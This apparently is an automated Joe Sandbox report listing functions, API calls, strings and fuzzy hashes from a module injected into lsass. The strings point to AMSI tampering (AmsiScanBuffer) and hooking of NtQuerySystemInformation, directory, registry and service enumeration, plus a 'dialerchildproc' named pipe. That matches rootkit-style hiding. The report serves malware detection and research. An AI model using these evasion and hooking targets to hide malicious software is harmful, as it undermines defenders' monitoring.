Part of subcall function 000002D6F1515F60: GetCurrentThreadId.KERNEL32 ref: 000002D6F1515F9B

Strings

amsi.dll, xrefs: 000002D6F1511EE5
NtQuerySystemInformation, xrefs: 000002D6F1511D71
EnumServiceGroupW, xrefs: 000002D6F1511E1C
pdh.dll, xrefs: 000002D6F1511EA3, 000002D6F1511EC4
PdhGetFormattedCounterArrayW, xrefs: 000002D6F1511EBD
NtQueryDirectoryFileEx, xrefs: 000002D6F1511DC8
NtEnumerateValueKey, xrefs: 000002D6F1511E02
NtQueryDirectoryFile, xrefs: 000002D6F1511DAB
PdhGetRawCounterArrayW, xrefs: 000002D6F1511E9C
NtDeviceIoControlFile, xrefs: 000002D6F1511E82
NtResumeThread, xrefs: 000002D6F1511D8E
NtEnumerateKey, xrefs: 000002D6F1511DE5
advapi32.dll, xrefs: 000002D6F1511E23, 000002D6F1511E44
AmsiScanBuffer, xrefs: 000002D6F1511EDE
ntdll.dll, xrefs: 000002D6F1511D59
EnumServicesStatusExW, xrefs: 000002D6F1511E3D, 000002D6F1511E5E
sechost.dll, xrefs: 000002D6F1511E65

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: 01390cbd5a7a922a2e2bff300826dd9bbb3a3ff9ce58a082e6952bfbcc40631a
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: 5641A1E5100D8AA8EA06EFA4F85E6D42362F7403C4FA0451B951F239B5EE7CCE4EC761

Function 000002D6F15112BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D6F1511319
GetProcessHeap.KERNEL32 ref: 000002D6F1511327
HeapAlloc.KERNEL32 ref: 000002D6F1511338
RegEnumValueW.ADVAPI32 ref: 000002D6F1511397

Part of subcall function 000002D6F151152C: StrCmpIW.SHLWAPI ref: 000002D6F151155D

GetProcessHeap.KERNEL32 ref: 000002D6F15113DF
HeapAlloc.KERNEL32 ref: 000002D6F15113ED
GetProcessHeap.KERNEL32 ref: 000002D6F151140A
HeapFree.KERNEL32 ref: 000002D6F1511418
lstrlenW.KERNEL32 ref: 000002D6F1511421
GetProcessHeap.KERNEL32 ref: 000002D6F151142F
HeapAlloc.KERNEL32 ref: 000002D6F151143D
StrCpyW.SHLWAPI ref: 000002D6F151145F
GetProcessHeap.KERNEL32 ref: 000002D6F1511476
HeapFree.KERNEL32 ref: 000002D6F1511484

Strings

d, xrefs: 000002D6F151135A

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 63fde3cdae1c7709bce9cd44def21624c9ca46219b84b1ad8c47164ad88fefa6
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: 4A5105B2604B848AEB55CF62F44C35AA7A1F788FD9F144126DE4A17B58DF7CD849CB00

Function 000002D6F14E6D40 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D6F14E6D68
__scrt_acquire_startup_lock.LIBCMT ref: 000002D6F14E6DBA
_RTC_Initialize.LIBCMT ref: 000002D6F14E6DE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D6F14E6E0E
__scrt_release_startup_lock.LIBCMT ref: 000002D6F14E6E39

Strings

destructor', xrefs: 000002D6F14E6F69, 000002D6F14E6FE2, 000002D6F14E701C
ned, xrefs: 000002D6F14E6E1E
restrict(, xrefs: 000002D6F14E6E17

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: destructor'$ned$restrict(
API String ID: 190073905-924718728
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 39b8463a6b1aefa4131af0ce40a811fa63a0ce5cb70bcc8134708b22748181b3
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: AA81C061600E418EFA60EB69F44D39966D0ABC57E0F444027AA1B47F9EEB3DCE468744

Function 000002D6F151D258 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D267
FlsGetValue.KERNEL32(?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D27C
FlsSetValue.KERNEL32(?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D29D
FlsSetValue.KERNEL32(?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D2CA
FlsSetValue.KERNEL32(?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D2DB
FlsSetValue.KERNEL32(?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D2EC
SetLastError.KERNEL32(?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D307
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D33D
FlsSetValue.KERNEL32(?,?,00000001,000002D6F151F0FC,?,?,?,?,000002D6F151C3CF,?,?,?,?,?,000002D6F1517EE0), ref: 000002D6F151D35C

Part of subcall function 000002D6F151DAFC: HeapAlloc.KERNEL32(?,?,00000000,000002D6F151D432,?,?,?,000002D6F151DAE5,?,?,?,?,000002D6F151DBA8), ref: 000002D6F151DB51

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D384

Part of subcall function 000002D6F151DB74: HeapFree.KERNEL32(?,?,?,?,?,?,?,000002D6F151643A), ref: 000002D6F151DB8A
Part of subcall function 000002D6F151DB74: GetLastError.KERNEL32(?,?,?,?,?,?,?,000002D6F151643A), ref: 000002D6F151DB94

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D395
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D6F1520E9B,?,?,?,000002D6F152088C,?,?,?,000002D6F151CC7F), ref: 000002D6F151D3A6

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction ID: 59c76e7087845905331f5c9f2bf64267144371c9c505c38e9f152955b3b7a01b
Opcode Fuzzy Hash: ed67185a8b28226d4ae9e946df9fda9d74e56255075e212544000e561ebf9f9b
Instruction Fuzzy Hash: 96415EE5301E844EFA5AAF32759E76D62429B457F0F540B27A93F27ED6DE6CDC028200

Function 000002D6F1512FAC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002D6F1513001
GetProcessHeap.KERNEL32 ref: 000002D6F1513016
HeapAlloc.KERNEL32 ref: 000002D6F1513024
PdhGetCounterInfoW.PDH ref: 000002D6F151303A
StrCmpW.SHLWAPI ref: 000002D6F151304F

Part of subcall function 000002D6F1513554: StrCmpNW.SHLWAPI ref: 000002D6F1513576
Part of subcall function 000002D6F1513554: StrStrW.SHLWAPI ref: 000002D6F1513594
Part of subcall function 000002D6F1513554: StrToIntW.SHLWAPI ref: 000002D6F15135BB

GetProcessHeap.KERNEL32 ref: 000002D6F151308C
HeapFree.KERNEL32 ref: 000002D6F151309A

Strings

\GPU user(*)\Running Time, xrefs: 000002D6F1513048

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction ID: d2c53924e1538c41bb08355667a16be2805f83df9a9d61a4544346d1173b0a99
Opcode Fuzzy Hash: 7a97016342490a0645e117d0aabf47d1727a4fd40327ed8f0cace4092c4eefd3
Instruction Fuzzy Hash: 753193A2A00E808AFB61CF22B81C759B3E0F798BE5F5445269E4E53E65DF3CD8568740

Function 000002D6F15130BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002D6F151311A
GetProcessHeap.KERNEL32 ref: 000002D6F151312B
HeapAlloc.KERNEL32 ref: 000002D6F1513139
PdhGetCounterInfoW.PDH ref: 000002D6F151314F
StrCmpW.SHLWAPI ref: 000002D6F1513164

Part of subcall function 000002D6F1513554: StrCmpNW.SHLWAPI ref: 000002D6F1513576
Part of subcall function 000002D6F1513554: StrStrW.SHLWAPI ref: 000002D6F1513594
Part of subcall function 000002D6F1513554: StrToIntW.SHLWAPI ref: 000002D6F15135BB

GetProcessHeap.KERNEL32 ref: 000002D6F1513191
HeapFree.KERNEL32 ref: 000002D6F151319F

Strings

\GPU user(*)\Utilization Percentage, xrefs: 000002D6F151315D

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU user(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction ID: fec11db0822d307948e4a7c1ba74c8d5261461f253cb747260e5761ca3857917
Opcode Fuzzy Hash: a4d014078471b981586e837c2868b443f3fcdd08967b9f8fe30d7546c34e5f89
Instruction Fuzzy Hash: 4C3159A2610F818AF791DF26B85C759A3A1B794FD5F1441269E8F53B24EF3CD8468700

Function 000002D6F14E9D74 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D6F14E9DD1

Part of subcall function 000002D6F14EAC44: __GetUnwindTryBlock.LIBCMT ref: 000002D6F14EAC87
Part of subcall function 000002D6F14EAC44: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D6F14EACAC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D6F14E9EA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D6F14EA0FE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D6F14EA20A

Strings

csm, xrefs: 000002D6F14E9DEB
csm, xrefs: 000002D6F14E9ECC
csm, xrefs: 000002D6F14E9E52

Memory Dump Source

Source File: 00000040.00000003.2213046710.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_3_2d6f14e0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction ID: f656ef8e49960a6b74665e79ce9ccd3527a8fb3a4c77477665914186e18d97d4
Opcode Fuzzy Hash: 9cfecb073a77c82b5205d4ec5f6c3b841c922ed377687b22fe55079c845d3249
Instruction Fuzzy Hash: A8E15B72604B408EEB60DF69E44C39D7BA0F795BD8F104516EE8A97F99CB38CA91C710

Function 000002D6F151A974 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002D6F151A9D1

Part of subcall function 000002D6F151B844: __GetUnwindTryBlock.LIBCMT ref: 000002D6F151B887
Part of subcall function 000002D6F151B844: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002D6F151B8AC

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002D6F151AAA9
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002D6F151ACFE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002D6F151AE0A

Strings

csm, xrefs: 000002D6F151AA52
csm, xrefs: 000002D6F151A9EB
csm, xrefs: 000002D6F151AACC

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction ID: 8bd4ce2d5a4f6d73ed0f55f0107dccffaaa78187669bcc93e1a79a3ab942d4f8
Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: F8E14CB2604F808EEB229FA5E44839D77A4F745BD8F144517EE8E67B99CB38C991C700

Function 000002D6F151F7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002D6F151F940
GetProcAddress.KERNEL32 ref: 000002D6F151F94C

Strings

api-ms-, xrefs: 000002D6F151F88A
ext-ms-, xrefs: 000002D6F151F89D

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: 79254f32f3b6e32fc6b4e35625dee29fad6023e8c082d9260ff16057696211fb
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: 0741A1A2311E50A9EB1BDF26B84C7556396BB45BE0F4841279D0F67B94EB3CCC498340

Function 000002D6F151104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D6F15110B1
RegEnumValueW.ADVAPI32 ref: 000002D6F1511117
GetProcessHeap.KERNEL32 ref: 000002D6F151115A
HeapAlloc.KERNEL32 ref: 000002D6F1511168
GetProcessHeap.KERNEL32 ref: 000002D6F1511185
HeapFree.KERNEL32 ref: 000002D6F1511193

Strings

d, xrefs: 000002D6F15110D6

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: ff6e951b7c38a8a75e43e205a700e730673afc4ee2af2b0ae6d412e1c43807d8
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: 50414F73214F80CAEB51CF61E44879AB7A1F388B98F048116DA8A17B58DF3CD849CB00

Function 000002D6F151D498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002D6F151CC0E,?,?,?,?,?,?,?,?,000002D6F151D3CD,?,?,00000001), ref: 000002D6F151D4B7
FlsSetValue.KERNEL32(?,?,?,000002D6F151CC0E,?,?,?,?,?,?,?,?,000002D6F151D3CD,?,?,00000001), ref: 000002D6F151D4D6
FlsSetValue.KERNEL32(?,?,?,000002D6F151CC0E,?,?,?,?,?,?,?,?,000002D6F151D3CD,?,?,00000001), ref: 000002D6F151D4FE
FlsSetValue.KERNEL32(?,?,?,000002D6F151CC0E,?,?,?,?,?,?,?,?,000002D6F151D3CD,?,?,00000001), ref: 000002D6F151D50F
FlsSetValue.KERNEL32(?,?,?,000002D6F151CC0E,?,?,?,?,?,?,?,?,000002D6F151D3CD,?,?,00000001), ref: 000002D6F151D520

Strings

1%, xrefs: 000002D6F151D4FE
Y%, xrefs: 000002D6F151D4D6

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: 34fff18819220c53d17335b28181365dbf6ab4e02b52f8033893f198ed7e02b2
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: 451190E1305E404AFA5AAF32B58D7796242AB843F4F544327A83F27FD6DE6CCC028600

Function 000002D6F1512334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002D6F1512349
GetCurrentProcessId.KERNEL32 ref: 000002D6F1512353
CreateFileW.KERNEL32 ref: 000002D6F1512384
WriteFile.KERNEL32 ref: 000002D6F15123AC
ReadFile.KERNEL32 ref: 000002D6F15123CB
CloseHandle.KERNEL32 ref: 000002D6F15123D4

Strings

\\.\pipe\dialerchildproc, xrefs: 000002D6F1512365

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: d4c8c24966d39016955a1db9846a553d2bea095b48411aa5f7967032cc521d0f
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 081104B6618B8086E7108B21F40C75A6771F389BE5F544316EA9E06EA8CF7CC949CB00

Function 000002D6F1517940 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D6F1517968
__scrt_acquire_startup_lock.LIBCMT ref: 000002D6F15179BA
_RTC_Initialize.LIBCMT ref: 000002D6F15179E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D6F1517A0E
__scrt_release_startup_lock.LIBCMT ref: 000002D6F1517A39

Memory Dump Source

Source File: 00000040.00000002.3453280554.000002D6F1511000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Associated: 00000040.00000002.3453244691.000002D6F1510000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453370965.000002D6F1526000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453456017.000002D6F1531000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453543098.000002D6F1533000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000040.00000002.3453606551.000002D6F1539000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: e207afeac99c483b23ca70e1e15b51e9258d1619311ba5b43c5831fe42b5bb13
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 0181E5E2600E414EFB66AF6EB88D35922D1A7957C0F144017AA4F67F97EB7CCD468700

Function 000002D6F151A1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002D6F151A3B3,?,?,?,000002D6F1519B9C,?,?,?,?,000002D6F15196BD), ref: 000002D6F151A279
GetLastError.KERNEL32(?,?,?,000002D6F151A3B3,?,?,?,000002D6F1519B9C,?,?,?,?,000002D6F15196BD), ref: 000002D6F151A287
LoadLibraryExW.KERNEL32(?,?,?,000002D6F151A3B3,?,?,?,000002D6F1519B9C,?,?,?,?,000002D6F15196BD), ref: 000002D6F151A2B1
FreeLibrary.KERNEL32(?,?,?,000002D6F151A3B3,?,?,?,000002D6F1519B9C,?,?,?,?,000002D6F15196BD), ref: 000002D6F151A2F7
GetProcAddress.KERNEL32(?,?,?,000002D6F151A3B3,?,?,?,000002D6F1519B9C,?,?,?,?,000002D6F15196BD), ref: 000002D6F151A303

Strings

api-ms-, xrefs: 000002D6F151A299

Memory Dump Source

